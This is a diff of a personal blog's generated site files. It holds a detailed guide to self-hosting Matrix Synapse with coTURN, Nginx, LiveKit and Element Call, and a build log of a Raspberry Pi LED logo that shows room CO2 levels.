    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    + + + +
    + + + +D +a +t +a +b +a +s +e +h +a +s +i +n +c +o +r +r +e +c +t +c +o +l +l +a +t +i +o +n +o +f +' +e +n +_ +U +S +. +u +t +f +8 +' +. +S +h +o +u +l +d +b +e +' +C +' + + + + +
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    + + + +
    + + + +E +R +R +O +R +: +U +n +k +n +o +w +n +b +o +o +l +e +a +n +v +a +l +u +e +: +# +l +o +g +t +o +j +o +u +r +n +a +l +d +/ +s +y +s +l +o +g +. +Y +o +u +c +a +n +u +s +e +o +n +/ +o +f +f +, +y +e +s +/ +n +o +, +1 +/ +0 +, +t +r +u +e +/ +f +a +l +s +e +. + + + + +
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    + + + +
    + + + +A +F +c +e +c +t +e +c +s +h +s +- +A +C +P +o +I +n +t +c +r +a +o +n +l +n +- +o +A +t +l +l +l +o +o +w +a +- +d +O +r +h +i +t +g +t +i +p +n +s +: +c +/ +a +/ +n +r +n +t +o +c +t +. +e +c +x +o +a +n +m +t +p +a +l +i +e +n +. +c +m +o +o +m +r +/ +e +s +f +t +u +h +/ +a +g +n +e +t +o +n +d +e +u +e +o +r +t +i +o +g +i +a +n +c +. +c +e +s +s +c +o +n +t +r +o +l +c +h +e +c +k +s +. + + + + +
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +]]>
    Hello Worldhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hello-world/Mon, 25 Aug 2025 08:53:38 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hello-world/<p>This is a test hello world post just to make sure everything works!</p><p>This is a test hello world post just to make sure everything works!</p> +
    \ No newline at end of file diff --git a/public/posts/inet_logo/index.html b/public/posts/inet_logo/index.html new file mode 100644 index 0000000..7e80207 --- /dev/null +++ b/public/posts/inet_logo/index.html @@ -0,0 +1,142 @@ +INET Logo That Breathes — From CAD to LEDs to a Calm Little Server | AlipourIm journeys +

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    Six looks of the INET LED logo
    Design → print → solder → code → glow.

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.


    1) Sketch → CAD → Print

    Fusion design + logotype

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    • Mounting bosses for the front diffusers (M2 screws),
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • A small wiring bay for the controller and power.

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.


    2) The Look I Wanted

    Animations collage

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.


    3) The Tidy Mess Behind the Panel

    Hardware collage

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD


    4) A Web Panel that Stays Out of the Way

    UI collage

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)


    5) The Color Language for Air

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • 500–799: Green — good.
    • 800–1199: Yellow — getting stale.
    • 1200–1499: Orange — poor; you’ll feel it.
    • 1500–1999: Red — ventilate now.
    • ≥ 2000: Purple — the logo is politely yelling.

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.


    6) The Code — a guided tour (no giant blob, promise)

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).


    6.1 Configuration (the knobs)

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.


    6.2 Strip setup + frame-diff (no flicker magic)

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.


    6.3 A tiny color wheel helper

    Classic rainbow helper used by a few animations:

    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.


    6.4 State & orchestration

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.


    6.5 Animations (the mood)

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    • redpulse — calm breathing in red; great default.
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • comet — a single head with a fading tail orbiting the logo.

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.


    6.6 CO₂ color language (with smoothing + hysteresis)

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    • < 500: Cyan (fresh)
    • 500–799: Green
    • 800–1199: Yellow
    • 1200–1499: Orange
    • 1500–1999: Red
    • ≥ 2000: Purple
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.


    6.7 Optional SCD41 sensor thread (the polite listener)

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.


    6.8 Scheduler + 90-minute override (humans win, then reset)

    A background thread asks, every few seconds, which mode should be running:

    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    3. Save/load the schedule atomically to schedule.json.
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.


    6.9 The web panel (tiny Flask, big buttons)

    Three pages, no fuss:

    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.


    6.10 Boot choreography

    At startup I:

    1. Try the sensor thread (if hardware is there).
    2. Start the scheduler thread.
    3. Immediately play redpulse (so there’s a friendly glow right away).
    4. Start Flask; on shutdown I clear the strip.
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.


    TL;DR (but keep the vibes)

    • Frame-diff = no flashes.
    • EMA + hysteresis = smooth, truthful color.
    • Breathing = presence, not signage.
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • Atomic files = no corrupted schedules.
    • Safe Mode by default = people > pixels.

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    Why this shape of code?

    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?


    7) Sensor Database — what it stores, where it lives, and how far it goes

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    What’s stored

    A single table called readings:

    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • timestamp is the primary key → easy “latest” queries and natural time ordering.

    Where the file lives

    • Path is configurable via env var DB_PATH (see your systemd unit).
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).

    Check size:

    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • Inserts are short and journaling protects against power loss.
    • For friendlier read/write concurrency, enable WAL once at startup:
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    Back-of-envelope:

    • ~100–200 bytes per row (including overhead).
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).

    Prune old data (keep last 90 days):

    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    Useful queries

    Latest reading:

    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    • Choose a sensible interval (e.g., 30–60 s).
    • Optionally buffer in memory and write every N samples.
    • Prefer WAL mode; periodically prune & vacuum.
    • If you care about card wear, place the DB on USB/SSD.

    Backups & restore

    Nightly backup (simple):

    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    1. sudo systemctl stop inet-led
    2. Copy backup file back to /home/pi/inet-led/sensor.db
    3. sudo systemctl start inet-led

    Security & permissions

    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    Is SQLite the right choice?

    Yes, for a single Pi logging every few seconds and rendering local charts:

    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.

    TL;DR

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.


    8) Run at Boot (systemd)

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.


    9) Soldering Notes (a love letter to hot glue)

